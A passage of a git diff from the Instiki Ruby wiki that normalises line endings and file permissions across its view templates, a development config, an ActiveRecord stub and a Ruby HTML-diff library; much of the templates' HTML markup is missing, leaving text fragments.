        - - +<% @title = "Instiki Setup"; @content_width = 500 %> + +

        + Congratulations on succesfully installing and starting Instiki. + Since this is the first time Instiki has been run on this port, + you'll need to do a brief one-time setup. +

        + +
        +
          +
        1. + +

          Name and address for your first web

          +
          + The name of the web is included in the title on all pages. + The address is the base path that all pages within the web live beneath. + Ex: the address "rails" gives URLs like /rails/show/HomePage. + The address can only consist of letters and digits. +
          +
          + Name: +    + Address: +
          +
        2. + +
        3. +

          Password for creating and changing webs

          +
          + Administrative access allows you to make new webs and change existing ones.
          + Everyone with this password will be able to do this, so pick it carefully. +
          +
          + Password: +    + Verify: +
          +
        4. +
        + +

        + +

        +
        + + diff --git a/app/views/wiki/new_web.rhtml b/app/views/wiki/new_web.rhtml old mode 100755 new mode 100644 index 7a64f6e2..d37ffcee --- a/app/views/wiki/new_web.rhtml +++ b/app/views/wiki/new_web.rhtml @@ -1,69 +1,69 @@ -<% @title = "New Wiki Web"; @content_width = 500 %> - -

        - Each web serves as an isolated name space for wiki pages, - so different subjects or projects can write about different MuppetShows. -

        - -
        - -
          -
        1. -

          Name and address for your new web

          -
          - The name of the web is included in the title on all pages. - The address is the base path that all pages within the web live beneath. - Ex: the address "rails" gives URLs like /rails/show/HomePage. - The address can only consist of letters and digits. -
          -
          - Name: -    - Address: -
          -
        2. -
        - - -

        - - Enter system password - - and - - -

        - -
        - - +<% @title = "New Wiki Web"; @content_width = 500 %> + +

        + Each web serves as an isolated name space for wiki pages, + so different subjects or projects can write about different MuppetShows. +

        + +
        + +
          +
        1. +

          Name and address for your new web

          +
          + The name of the web is included in the title on all pages. + The address is the base path that all pages within the web live beneath. + Ex: the address "rails" gives URLs like /rails/show/HomePage. + The address can only consist of letters and digits. +
          +
          + Name: +    + Address: +
          +
        2. +
        + + +

        + + Enter system password + + and + + +

        + +
        + + diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml old mode 100755 new mode 100644 index 0c26057a..41b13de6 --- a/app/views/wiki/page.rhtml +++ b/app/views/wiki/page.rhtml @@ -1,78 +1,78 @@ -<% @title = @page.plain_name %> - -
        - <%= @page.display_content %> -
        - - - - - - - - +<% @title = @page.plain_name %> + +
        + <%= @page.display_content %> +
        + + + + + + + + diff --git a/app/views/wiki/print.rhtml b/app/views/wiki/print.rhtml old mode 100755 new mode 100644 index d7f20619..fd12c805 --- a/app/views/wiki/print.rhtml +++ b/app/views/wiki/print.rhtml @@ -1,14 +1,14 @@ -<% - @title = @page.plain_name - @hide_navigation = true - @style_additions = ".newWikiWord { background-color: white; font-style: italic; }" - @inline_style = true -%> - -<%= @page.display_content_for_export %> - - +<% + @title = @page.plain_name + @hide_navigation = true + @style_additions = ".newWikiWord { background-color: white; font-style: italic; }" + @inline_style = true +%> + +<%= @page.display_content_for_export %> + + diff --git a/app/views/wiki/published.rhtml b/app/views/wiki/published.rhtml old mode 100755 new mode 100644 index 77eddf38..8d125eb6 --- a/app/views/wiki/published.rhtml +++ b/app/views/wiki/published.rhtml @@ -1,8 +1,8 @@ -<% - @title = @page.plain_name - @hide_navigation = false - @style_additions = ".newWikiWord { background-color: white; font-style: italic; }" - @inline_style = true -%> - -<%= @page.display_published %> +<% + @title = @page.plain_name + @hide_navigation = false + @style_additions = ".newWikiWord { background-color: white; font-style: italic; }" + @inline_style = true +%> + +<%= @page.display_published %> diff --git a/app/views/wiki/recently_revised.rhtml b/app/views/wiki/recently_revised.rhtml old mode 100755 new mode 100644 index 902db5ff..4fa01dc3 --- a/app/views/wiki/recently_revised.rhtml +++ b/app/views/wiki/recently_revised.rhtml @@ -1,32 +1,32 @@ -<% @title = "Recently Revised" %> - -<% unless @categories.empty? %> -
        - Categories: - [Any] - <%= @category_links.join(', ') %> -
        -<% end %> - -<% unless @pages_by_revision.empty? %> - <% revision_date = @pages_by_revision.first.revised_on %> -

        <%= revision_date.strftime('%B %e, %Y') %>

        -
          - <% for page in @pages_by_revision %> - <% if page.revised_on < revision_date %> - <% revision_date = page.revised_on %> -
        -

        <%= revision_date.strftime('%B %e, %Y') %>

        -
          - <% end %> -
        • - <%= page.plain_name %> - -
        • - <% end %> -
        -<% end %> +<% @title = "Recently Revised" %> + +<% unless @categories.empty? %> +
        + Categories: + [Any] + <%= @category_links.join(', ') %> +
        +<% end %> + +<% unless @pages_by_revision.empty? %> + <% revision_date = @pages_by_revision.first.revised_on %> +

        <%= revision_date.strftime('%B %e, %Y') %>

        +
          + <% for page in @pages_by_revision %> + <% if page.revised_on < revision_date %> + <% revision_date = page.revised_on %> +
        +

        <%= revision_date.strftime('%B %e, %Y') %>

        +
          + <% end %> +
        • + <%= page.plain_name %> + +
        • + <% end %> +
        +<% end %> diff --git a/app/views/wiki/revision.rhtml b/app/views/wiki/revision.rhtml old mode 100755 new mode 100644 index 461d11e5..d54ad01b --- a/app/views/wiki/revision.rhtml +++ b/app/views/wiki/revision.rhtml @@ -1,79 +1,79 @@ -<% @title = "#{@page.plain_name} (Rev ##{@revision.number})" %> - -
        - <%= @revision.display_content %> -
        - - - - - - - - - +<% @title = "#{@page.plain_name} (Rev ##{@revision.number})" %> + +
        + <%= @revision.display_content %> +
        + + + + + + + + + diff --git a/app/views/wiki/rollback.rhtml b/app/views/wiki/rollback.rhtml old mode 100755 new mode 100644 diff --git a/app/views/wiki/rss_feed.rhtml b/app/views/wiki/rss_feed.rhtml old mode 100755 new mode 100644 index 1c086e6b..542490ae --- a/app/views/wiki/rss_feed.rhtml +++ b/app/views/wiki/rss_feed.rhtml @@ -1,22 +1,22 @@ - - - - <%= @web.name %> - <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => 'HomePage' %> - An Instiki wiki - en-us - 40 - <% for page in @pages_by_revision %> - - <%= page.plain_name %> - <% unless @hide_description %> - <%= CGI.escapeHTML(page.display_content) %> - <% end %> - <%= page.created_at.strftime "%a, %e %b %Y %H:%M:%S %Z" %> - <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => page.name %> - <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => page.name %> - <%= WikiWords.separate(page.author) %> - - <% end %> - - + + + + <%= @web.name %> + <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => 'HomePage' %> + An Instiki wiki + en-us + 40 + <% for page in @pages_by_revision %> + + <%= page.plain_name %> + <% unless @hide_description %> + <%= CGI.escapeHTML(page.display_content) %> + <% end %> + <%= page.created_at.strftime "%a, %e %b %Y %H:%M:%S %Z" %> + <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => page.name %> + <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => page.name %> + <%= WikiWords.separate(page.author) %> + + <% end %> + + diff --git a/app/views/wiki/search.rhtml b/app/views/wiki/search.rhtml old mode 100755 new mode 100644 index 9f3bb36d..b5f633ac --- a/app/views/wiki/search.rhtml +++ b/app/views/wiki/search.rhtml @@ -1,13 +1,13 @@ -<% @title = @results.length > 0 ? "#{@results.length} pages contains \"#{@params["query"]}\"" : "No pages contains \"#{@query}\"" %> - -<% if @results.length > 0 %> - -<% else %> -

        Perhaps you should try expanding your query. Remember that Instiki searches for entire phrases, so if you search for "all that jazz" it will not match pages that contain these words in separation—only as a sentence fragment.

        - -

        If you're a high-tech computer wizard, you might even want try constructing a regular expression. That's actually what Instiki uses, so go right ahead and flex your "[a-z]*Leet?RegExpSkill(s|z)"

        -<% end %> +<% @title = @results.length > 0 ? "#{@results.length} pages contains \"#{@params["query"]}\"" : "No pages contains \"#{@query}\"" %> + +<% if @results.length > 0 %> + +<% else %> +

        Perhaps you should try expanding your query. Remember that Instiki searches for entire phrases, so if you search for "all that jazz" it will not match pages that contain these words in separation—only as a sentence fragment.

        + +

        If you're a high-tech computer wizard, you might even want try constructing a regular expression. That's actually what Instiki uses, so go right ahead and flex your "[a-z]*Leet?RegExpSkill(s|z)"

        +<% end %> diff --git a/app/views/wiki/tex.rhtml b/app/views/wiki/tex.rhtml old mode 100755 new mode 100644 index ae8d5c81..ea9a06c6 --- a/app/views/wiki/tex.rhtml +++ b/app/views/wiki/tex.rhtml @@ -1,23 +1,23 @@ -\documentclass[12pt,titlepage]{article} - -\usepackage[danish]{babel} %danske tekster -\usepackage[OT1]{fontenc} %rigtige danske bogstaver... -\usepackage{a4} -\usepackage{graphicx} -\usepackage{ucs} -\usepackage[utf8x]{inputenc} -\input epsf - -%------------------------------------------------------------------- - -\begin{document} - -\sloppy - -%------------------------------------------------------------------- - -\section*{<%= @page.name %>} - -<%= @tex_content %> - +\documentclass[12pt,titlepage]{article} + +\usepackage[danish]{babel} %danske tekster +\usepackage[OT1]{fontenc} %rigtige danske bogstaver... +\usepackage{a4} +\usepackage{graphicx} +\usepackage{ucs} +\usepackage[utf8x]{inputenc} +\input epsf + +%------------------------------------------------------------------- + +\begin{document} + +\sloppy + +%------------------------------------------------------------------- + +\section*{<%= @page.name %>} + +<%= @tex_content %> + \end{document} \ No newline at end of file diff --git a/app/views/wiki/tex_web.rhtml b/app/views/wiki/tex_web.rhtml old mode 100755 new mode 100644 index 9fd8c5a3..45953c52 --- a/app/views/wiki/tex_web.rhtml +++ b/app/views/wiki/tex_web.rhtml @@ -1,35 +1,35 @@ -\documentclass[12pt,titlepage]{article} - -\usepackage{fancyhdr} -\pagestyle{fancy} - -\fancyhead[LE,RO]{} -\fancyhead[LO,RE]{\nouppercase{\bfseries \leftmark}} -\fancyfoot[C]{\thepage} - -\usepackage[danish]{babel} %danske tekster -\usepackage{a4} -\usepackage{graphicx} -\usepackage{ucs} -\usepackage[utf8]{inputenc} -\input epsf - - -%------------------------------------------------------------------- - -\title{<%= @web_name %>} - -\begin{document} - -\maketitle - -\tableofcontents -\pagebreak - -\sloppy - -%------------------------------------------------------------------- - -<%= @tex_content %> - +\documentclass[12pt,titlepage]{article} + +\usepackage{fancyhdr} +\pagestyle{fancy} + +\fancyhead[LE,RO]{} +\fancyhead[LO,RE]{\nouppercase{\bfseries \leftmark}} +\fancyfoot[C]{\thepage} + +\usepackage[danish]{babel} %danske tekster +\usepackage{a4} +\usepackage{graphicx} +\usepackage{ucs} +\usepackage[utf8]{inputenc} +\input epsf + + +%------------------------------------------------------------------- + +\title{<%= @web_name %>} + +\begin{document} + +\maketitle + +\tableofcontents +\pagebreak + +\sloppy + +%------------------------------------------------------------------- + +<%= @tex_content %> + \end{document} \ No newline at end of file diff --git a/app/views/wiki/web_list.rhtml b/app/views/wiki/web_list.rhtml old mode 100755 new mode 100644 index 71e124fb..ebdde98d --- a/app/views/wiki/web_list.rhtml +++ b/app/views/wiki/web_list.rhtml @@ -1,18 +1,18 @@ -<% @title = "Wiki webs" %> - -
          -<% for web in @webs %> -
        • - <% if web.published %> - <%= web.make_link 'HomePage', web.name, :mode => :publish %> (read-only) / - <%= web.make_link 'HomePage', 'editable version', :mode => :edit %> (requires login) - <% else %> - <%= web.make_link 'HomePage', nil, :mode => :edit %> - <% end %> - - -
        • -<% end %> -
        +<% @title = "Wiki webs" %> + +
          +<% for web in @webs %> +
        • + <% if web.published %> + <%= web.make_link 'HomePage', web.name, :mode => :publish %> (read-only) / + <%= web.make_link 'HomePage', 'editable version', :mode => :edit %> (requires login) + <% else %> + <%= web.make_link 'HomePage', nil, :mode => :edit %> + <% end %> + + +
        • +<% end %> +
        diff --git a/app/views/wiki_words_help.rhtml b/app/views/wiki_words_help.rhtml old mode 100755 new mode 100644 index 2b026891..b283b407 --- a/app/views/wiki_words_help.rhtml +++ b/app/views/wiki_words_help.rhtml @@ -1,9 +1,9 @@ -

        Wiki words

        -

        - Two or more uppercase words stuck together (camel case) or any phrase surrounded by double - brackets is a wiki word. A camel-case wiki word can be escaped by putting \ in front of it. -

        -

        - Wiki words: HomePage, ThreeWordsTogether, [[C++]], [[Let's play again!]]
        - Not wiki words: IBM, School -

        +

        Wiki words

        +

        + Two or more uppercase words stuck together (camel case) or any phrase surrounded by double + brackets is a wiki word. A camel-case wiki word can be escaped by putting \ in front of it. +

        +

        + Wiki words: HomePage, ThreeWordsTogether, [[C++]], [[Let's play again!]]
        + Not wiki words: IBM, School +

        diff --git a/config/environments/development.rb b/config/environments/development.rb old mode 100755 new mode 100644 index 26741be4..f824ec90 --- a/config/environments/development.rb +++ b/config/environments/development.rb @@ -1,4 +1,4 @@ -Dependencies.mechanism = :require -ActionController::Base.consider_all_requests_local = true -BREAKPOINT_SERVER_PORT = 42531 -ActionController::Base.logger.level = Logger::DEBUG +Dependencies.mechanism = :require +ActionController::Base.consider_all_requests_local = true +BREAKPOINT_SERVER_PORT = 42531 +ActionController::Base.logger.level = Logger::DEBUG diff --git a/libraries/active_record_stub.rb b/libraries/active_record_stub.rb old mode 100755 new mode 100644 index 7596ec89..9a3ec8a0 --- a/libraries/active_record_stub.rb +++ b/libraries/active_record_stub.rb @@ -1,23 +1,23 @@ -# This project uses Railties, which has an external dependency on ActiveRecord -# Since ActiveRecord may not be present in Instiki runtime environment, this -# file provides a stub replacement for it - -unless defined? ActiveRecord::Base - -module ActiveRecord - class Base - - # dependency in railties/lib/dispatcher.rb - def self.reset_column_information_and_inheritable_attributes_for_all_subclasses - # noop - end - - # dependency in actionpack/lib/action_controller/benchmarking.rb - def self.connected? - false - end - - end - end - +# This project uses Railties, which has an external dependency on ActiveRecord +# Since ActiveRecord may not be present in Instiki runtime environment, this +# file provides a stub replacement for it + +unless defined? ActiveRecord::Base + +module ActiveRecord + class Base + + # dependency in railties/lib/dispatcher.rb + def self.reset_column_information_and_inheritable_attributes_for_all_subclasses + # noop + end + + # dependency in actionpack/lib/action_controller/benchmarking.rb + def self.connected? + false + end + + end + end + end \ No newline at end of file diff --git a/libraries/diff.rb b/libraries/diff.rb old mode 100755 new mode 100644 index 16fd8150..12fcfaa7 --- a/libraries/diff.rb +++ b/libraries/diff.rb @@ -1,475 +1,475 @@ -# heavily based off difflib.py - see that file for documentation -# ported from Python by Bill Atkins - -# This does not support all features offered by difflib; it -# implements only the subset of features necessary -# to support a Ruby version of HTML Differ. You're welcome to finish this off. - -# By default, String#each iterates by line. This isn't really appropriate -# for diff, so often a string will be split by // to get an array of one- -# character strings. - -# Some methods in Diff are untested and are not guaranteed to work. The -# methods in HTMLDiff and any methods it calls should work quite well. - -# changes by DenisMertz -# * main change: -# ** get the tag soup away -# the tag soup problem was first reported with

        tags, but it appeared also with -#

      • ,
          etc... tags -# this version should mostly fix these problems -# ** added a Builder class to manage the creation of the final htmldiff -# * minor changes: -# ** use symbols instead of string to represent opcodes -# ** small fix to html2list -# - -module Enumerable - def reduce(init) - result = init - each { |item| result = yield(result, item) } - result - end -end - -module Diff - - class SequenceMatcher - def initialize(a=[''], b=[''], isjunk=nil, byline=false) - a = (!byline and a.kind_of? String) ? a.split(//) : a - b = (!byline and b.kind_of? String) ? b.split(//) : b - @isjunk = isjunk || proc {} - set_seqs a, b - end - - def set_seqs(a, b) - set_seq_a a - set_seq_b b - end - - def set_seq_a(a) - @a = a - @matching_blocks = @opcodes = nil - end - - def set_seq_b(b) - @b = b - @matching_blocks = @opcodes = nil - chain_b - end - - def chain_b - @fullbcount = nil - @b2j = {} - pophash = {} - junkdict = {} - - @b.each_with_index do |elt, i| - if @b2j.has_key? elt - indices = @b2j[elt] - if @b.length >= 200 and indices.length * 100 > @b.length - pophash[elt] = 1 - indices.clear - else - indices.push i - end - else - @b2j[elt] = [i] - end - end - - pophash.each_key { |elt| @b2j.delete elt } - - junkdict = {} - - unless @isjunk.nil? - [pophash, @b2j].each do |d| - d.each_key do |elt| - if @isjunk.call(elt) - junkdict[elt] = 1 - d.delete elt - end - end - end - end - - @isbjunk = junkdict.method(:has_key?) - @isbpopular = junkdict.method(:has_key?) - end - - def find_longest_match(alo, ahi, blo, bhi) - besti, bestj, bestsize = alo, blo, 0 - - j2len = {} - - (alo..ahi).step do |i| - newj2len = {} - (@b2j[@a[i]] || []).each do |j| - if j < blo - next - end - if j >= bhi - break - end - - k = newj2len[j] = (j2len[j - 1] || 0) + 1 - if k > bestsize - besti, bestj, bestsize = i - k + 1, j - k + 1, k - end - end - j2len = newj2len - end - - while besti > alo and bestj > blo and - not @isbjunk.call(@b[bestj-1]) and - @a[besti-1] == @b[bestj-1] - besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 - end - - while besti+bestsize < ahi and bestj+bestsize < bhi and - not @isbjunk.call(@b[bestj+bestsize]) and - @a[besti+bestsize] == @b[bestj+bestsize] - bestsize += 1 - end - - while besti > alo and bestj > blo and - @isbjunk.call(@b[bestj-1]) and - @a[besti-1] == @b[bestj-1] - besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 - end - - while besti+bestsize < ahi and bestj+bestsize < bhi and - @isbjunk.call(@b[bestj+bestsize]) and - @a[besti+bestsize] == @b[bestj+bestsize] - bestsize += 1 - end - - [besti, bestj, bestsize] - end - - def get_matching_blocks - return @matching_blocks unless @matching_blocks.nil? or - @matching_blocks.empty? - - @matching_blocks = [] - la, lb = @a.length, @b.length - match_block_helper(0, la, 0, lb, @matching_blocks) - @matching_blocks.push [la, lb, 0] - end - - def match_block_helper(alo, ahi, blo, bhi, answer) - i, j, k = x = find_longest_match(alo, ahi, blo, bhi) - if not k.zero? - if alo < i and blo < j - match_block_helper(alo, i, blo, j, answer) - end - answer.push x - if i + k < ahi and j + k < bhi - match_block_helper(i + k, ahi, j + k, bhi, answer) - end - end - end - - def get_opcodes - unless @opcodes.nil? or @opcodes.empty? - return @opcodes - end - - i = j = 0 - @opcodes = answer = [] - get_matching_blocks.each do |ai, bj, size| - tag = if i < ai and j < bj - :replace - elsif i < ai - :delete - elsif j < bj - :insert - end - - answer.push [tag, i, ai, j, bj] if tag - - i, j = ai + size, bj + size - - answer.push [:equal, ai, i, bj, j] unless size.zero? - - end - return answer - end - - # XXX: untested - def get_grouped_opcodes(n=3) - codes = get_opcodes - if codes[0][0] == :equal - tag, i1, i2, j1, j2 = codes[0] - codes[0] = tag, [i1, i2 - n].max, i2, [j1, j2-n].max, j2 - end - - if codes[-1][0] == :equal - tag, i1, i2, j1, j2 = codes[-1] - codes[-1] = tag, i1, min(i2, i1+n), j1, min(j2, j1+n) - end - nn = n + n - group = [] - codes.each do |tag, i1, i2, j1, j2| - if tag == :equal and i2-i1 > nn - group.push [tag, i1, [i2, i1 + n].min, j1, [j2, j1 + n].min] - yield group - group = [] - i1, j1 = [i1, i2-n].max, [j1, j2-n].max - group.push [tag, i1, i2, j1 ,j2] - end - end - if group and group.length != 1 and group[0][0] == :equal - yield group - end - end - - def ratio - matches = get_matching_blocks.reduce(0) do |sum, triple| - sum + triple[-1] - end - Diff.calculate_ratio(matches, @a.length + @b.length) - end - - def quick_ratio - if @fullbcount.nil? or @fullbcount.empty? - @fullbcount = {} - @b.each do |elt| - @fullbcount[elt] = (@fullbcount[elt] || 0) + 1 - end - end - - avail = {} - matches = 0 - @a.each do |elt| - if avail.has_key? elt - numb = avail[elt] - else - numb = @fullbcount[elt] || 0 - end - avail[elt] = numb - 1 - if numb > 0 - matches += 1 - end - end - Diff.calculate_ratio matches, @a.length + @b.length - end - - def real_quick_ratio - la, lb = @a.length, @b.length - Diff.calculate_ratio([la, lb].min, la + lb) - end - - protected :chain_b, :match_block_helper - end # end class SequenceMatcher - - def self.calculate_ratio(matches, length) - return 1.0 if length.zero? - 2.0 * matches / length - end - - # XXX: untested - def self.get_close_matches(word, possibilities, n=3, cutoff=0.6) - unless n > 0 - raise "n must be > 0: #{n}" - end - unless 0.0 <= cutoff and cutoff <= 1.0 - raise "cutoff must be in (0.0..1.0): #{cutoff}" - end - - result = [] - s = SequenceMatcher.new - s.set_seq_b word - possibilities.each do |x| - s.set_seq_a x - if s.real_quick_ratio >= cutoff and - s.quick_ratio >= cutoff and - s.ratio >= cutoff - result.push [s.ratio, x] - end - end - - unless result.nil? or result.empty? - result.sort - result.reverse! - result = result[-n..-1] - end - result.collect { |score, x| x } - end - - def self.count_leading(line, ch) - i, n = 0, line.length - while i < n and line[i].chr == ch - i += 1 - end - i - end -end - - -module HTMLDiff - include Diff - class Builder - VALID_METHODS = [:replace, :insert, :delete, :equal] - def initialize(a, b) - @a = a - @b = b - @content = [] - end - - def do_op(opcode) - @opcode = opcode - op = @opcode[0] - VALID_METHODS.include?(op) or raise(NameError, "Invalid opcode #{op}") - self.method(op).call - end - - def result - @content.join('') - end - - #this methods have to be called via do_op(opcode) so that @opcode is set properly - private - - def replace - delete("diffmod") - insert("diffmod") - end - - def insert(tagclass="diffins") - op_helper("ins", tagclass, @b[@opcode[3]...@opcode[4]]) - end - - def delete(tagclass="diffdel") - op_helper("del", tagclass, @a[@opcode[1]...@opcode[2]]) - end - - def equal - @content += @b[@opcode[3]...@opcode[4]] - end - - # using this as op_helper would be equivalent to the first version of diff.rb by Bill Atkins - def op_helper_simple(tagname, tagclass, to_add) - @content << "<#{tagname} class=\"#{tagclass}\">" - @content += to_add - @content << "" - end - - # this tries to put

          tags or newline chars before the opening diff tags ( or ) - # or after the ending diff tags - # as a result the diff tags should be the "more inside" possible. - # this seems to work nice with html containing only paragraphs - # but not sure it works if there are other tags (div, span ... ? ) around - def op_helper(tagname, tagclass, to_add) - @content << to_add.shift while ( HTMLDiff.is_newline(to_add.first) or - HTMLDiff.is_p_close_tag(to_add.first) or - HTMLDiff.is_p_open_tag(to_add.first) ) - @content << "<#{tagname} class=\"#{tagclass}\">" - @content += to_add - last_tags = [] - last_tags.unshift(@content.pop) while ( HTMLDiff.is_newline(@content.last) or - HTMLDiff.is_p_close_tag(@content.last) or - HTMLDiff.is_p_open_tag(@content.last) ) - last_tags.unshift "" - @content += last_tags - remove_empty_diff(tagname, tagclass) - end - - def remove_empty_diff(tagname, tagclass) - if @content[-2] == "<#{tagname} class=\"#{tagclass}\">" and @content[-1] == "" then - @content.pop - @content.pop - end - end - - end - - def self.is_newline(x) - (x == "\n") or (x == "\r") or (x == "\t") - end - - def self.is_p_open_tag(x) - x =~ /\A<(p|li|ul|ol|dir|dt|dl)/ - end - - def self.is_p_close_tag(x) - x =~ %r!\A' - if b - cur += ']' - else - cur += c - end - out.push(cur) - cur = '' - mode = 'char' - else - cur += c - end - elsif mode == 'char' - if c == '<' - out.push cur - if b - cur = '[' - else - cur = c - end - mode = 'tag' - elsif /\s/.match c - out.push cur + c - cur = '' - else - cur += c - end - end - end - - out.push cur - # TODO: make something better here - out.each{|x| x.chomp! unless is_newline(x)} - out.find_all { |x| x != '' } - end - - -end - -if __FILE__ == $0 - - require 'pp' - # a = "

          this is the original string

          " # \n

          but around the world

          " - # b = "

          this is the original

          other parag

          string

          " - a = "
            \n\t
          • one
          • \n\t
          • two
          • \n
          " - b = "
            \n\t
          • one
          • \n\t
          • two\n\t
            • abc
          • \n
          " - puts a - pp HTMLDiff.html2list(a) - puts - puts b - pp HTMLDiff.html2list(b) - puts - puts HTMLDiff.diff(a, b) +# heavily based off difflib.py - see that file for documentation +# ported from Python by Bill Atkins + +# This does not support all features offered by difflib; it +# implements only the subset of features necessary +# to support a Ruby version of HTML Differ. You're welcome to finish this off. + +# By default, String#each iterates by line. This isn't really appropriate +# for diff, so often a string will be split by // to get an array of one- +# character strings. + +# Some methods in Diff are untested and are not guaranteed to work. The +# methods in HTMLDiff and any methods it calls should work quite well. + +# changes by DenisMertz +# * main change: +# ** get the tag soup away +# the tag soup problem was first reported with

          tags, but it appeared also with +#

        • ,
            etc... tags +# this version should mostly fix these problems +# ** added a Builder class to manage the creation of the final htmldiff +# * minor changes: +# ** use symbols instead of string to represent opcodes +# ** small fix to html2list +# + +module Enumerable + def reduce(init) + result = init + each { |item| result = yield(result, item) } + result + end +end + +module Diff + + class SequenceMatcher + def initialize(a=[''], b=[''], isjunk=nil, byline=false) + a = (!byline and a.kind_of? String) ? a.split(//) : a + b = (!byline and b.kind_of? String) ? b.split(//) : b + @isjunk = isjunk || proc {} + set_seqs a, b + end + + def set_seqs(a, b) + set_seq_a a + set_seq_b b + end + + def set_seq_a(a) + @a = a + @matching_blocks = @opcodes = nil + end + + def set_seq_b(b) + @b = b + @matching_blocks = @opcodes = nil + chain_b + end + + def chain_b + @fullbcount = nil + @b2j = {} + pophash = {} + junkdict = {} + + @b.each_with_index do |elt, i| + if @b2j.has_key? elt + indices = @b2j[elt] + if @b.length >= 200 and indices.length * 100 > @b.length + pophash[elt] = 1 + indices.clear + else + indices.push i + end + else + @b2j[elt] = [i] + end + end + + pophash.each_key { |elt| @b2j.delete elt } + + junkdict = {} + + unless @isjunk.nil? + [pophash, @b2j].each do |d| + d.each_key do |elt| + if @isjunk.call(elt) + junkdict[elt] = 1 + d.delete elt + end + end + end + end + + @isbjunk = junkdict.method(:has_key?) + @isbpopular = junkdict.method(:has_key?) + end + + def find_longest_match(alo, ahi, blo, bhi) + besti, bestj, bestsize = alo, blo, 0 + + j2len = {} + + (alo..ahi).step do |i| + newj2len = {} + (@b2j[@a[i]] || []).each do |j| + if j < blo + next + end + if j >= bhi + break + end + + k = newj2len[j] = (j2len[j - 1] || 0) + 1 + if k > bestsize + besti, bestj, bestsize = i - k + 1, j - k + 1, k + end + end + j2len = newj2len + end + + while besti > alo and bestj > blo and + not @isbjunk.call(@b[bestj-1]) and + @a[besti-1] == @b[bestj-1] + besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 + end + + while besti+bestsize < ahi and bestj+bestsize < bhi and + not @isbjunk.call(@b[bestj+bestsize]) and + @a[besti+bestsize] == @b[bestj+bestsize] + bestsize += 1 + end + + while besti > alo and bestj > blo and + @isbjunk.call(@b[bestj-1]) and + @a[besti-1] == @b[bestj-1] + besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 + end + + while besti+bestsize < ahi and bestj+bestsize < bhi and + @isbjunk.call(@b[bestj+bestsize]) and + @a[besti+bestsize] == @b[bestj+bestsize] + bestsize += 1 + end + + [besti, bestj, bestsize] + end + + def get_matching_blocks + return @matching_blocks unless @matching_blocks.nil? or + @matching_blocks.empty? + + @matching_blocks = [] + la, lb = @a.length, @b.length + match_block_helper(0, la, 0, lb, @matching_blocks) + @matching_blocks.push [la, lb, 0] + end + + def match_block_helper(alo, ahi, blo, bhi, answer) + i, j, k = x = find_longest_match(alo, ahi, blo, bhi) + if not k.zero? + if alo < i and blo < j + match_block_helper(alo, i, blo, j, answer) + end + answer.push x + if i + k < ahi and j + k < bhi + match_block_helper(i + k, ahi, j + k, bhi, answer) + end + end + end + + def get_opcodes + unless @opcodes.nil? or @opcodes.empty? + return @opcodes + end + + i = j = 0 + @opcodes = answer = [] + get_matching_blocks.each do |ai, bj, size| + tag = if i < ai and j < bj + :replace + elsif i < ai + :delete + elsif j < bj + :insert + end + + answer.push [tag, i, ai, j, bj] if tag + + i, j = ai + size, bj + size + + answer.push [:equal, ai, i, bj, j] unless size.zero? + + end + return answer + end + + # XXX: untested + def get_grouped_opcodes(n=3) + codes = get_opcodes + if codes[0][0] == :equal + tag, i1, i2, j1, j2 = codes[0] + codes[0] = tag, [i1, i2 - n].max, i2, [j1, j2-n].max, j2 + end + + if codes[-1][0] == :equal + tag, i1, i2, j1, j2 = codes[-1] + codes[-1] = tag, i1, min(i2, i1+n), j1, min(j2, j1+n) + end + nn = n + n + group = [] + codes.each do |tag, i1, i2, j1, j2| + if tag == :equal and i2-i1 > nn + group.push [tag, i1, [i2, i1 + n].min, j1, [j2, j1 + n].min] + yield group + group = [] + i1, j1 = [i1, i2-n].max, [j1, j2-n].max + group.push [tag, i1, i2, j1 ,j2] + end + end + if group and group.length != 1 and group[0][0] == :equal + yield group + end + end + + def ratio + matches = get_matching_blocks.reduce(0) do |sum, triple| + sum + triple[-1] + end + Diff.calculate_ratio(matches, @a.length + @b.length) + end + + def quick_ratio + if @fullbcount.nil? or @fullbcount.empty? + @fullbcount = {} + @b.each do |elt| + @fullbcount[elt] = (@fullbcount[elt] || 0) + 1 + end + end + + avail = {} + matches = 0 + @a.each do |elt| + if avail.has_key? elt + numb = avail[elt] + else + numb = @fullbcount[elt] || 0 + end + avail[elt] = numb - 1 + if numb > 0 + matches += 1 + end + end + Diff.calculate_ratio matches, @a.length + @b.length + end + + def real_quick_ratio + la, lb = @a.length, @b.length + Diff.calculate_ratio([la, lb].min, la + lb) + end + + protected :chain_b, :match_block_helper + end # end class SequenceMatcher + + def self.calculate_ratio(matches, length) + return 1.0 if length.zero? + 2.0 * matches / length + end + + # XXX: untested + def self.get_close_matches(word, possibilities, n=3, cutoff=0.6) + unless n > 0 + raise "n must be > 0: #{n}" + end + unless 0.0 <= cutoff and cutoff <= 1.0 + raise "cutoff must be in (0.0..1.0): #{cutoff}" + end + + result = [] + s = SequenceMatcher.new + s.set_seq_b word + possibilities.each do |x| + s.set_seq_a x + if s.real_quick_ratio >= cutoff and + s.quick_ratio >= cutoff and + s.ratio >= cutoff + result.push [s.ratio, x] + end + end + + unless result.nil? or result.empty? + result.sort + result.reverse! + result = result[-n..-1] + end + result.collect { |score, x| x } + end + + def self.count_leading(line, ch) + i, n = 0, line.length + while i < n and line[i].chr == ch + i += 1 + end + i + end +end + + +module HTMLDiff + include Diff + class Builder + VALID_METHODS = [:replace, :insert, :delete, :equal] + def initialize(a, b) + @a = a + @b = b + @content = [] + end + + def do_op(opcode) + @opcode = opcode + op = @opcode[0] + VALID_METHODS.include?(op) or raise(NameError, "Invalid opcode #{op}") + self.method(op).call + end + + def result + @content.join('') + end + + #this methods have to be called via do_op(opcode) so that @opcode is set properly + private + + def replace + delete("diffmod") + insert("diffmod") + end + + def insert(tagclass="diffins") + op_helper("ins", tagclass, @b[@opcode[3]...@opcode[4]]) + end + + def delete(tagclass="diffdel") + op_helper("del", tagclass, @a[@opcode[1]...@opcode[2]]) + end + + def equal + @content += @b[@opcode[3]...@opcode[4]] + end + + # using this as op_helper would be 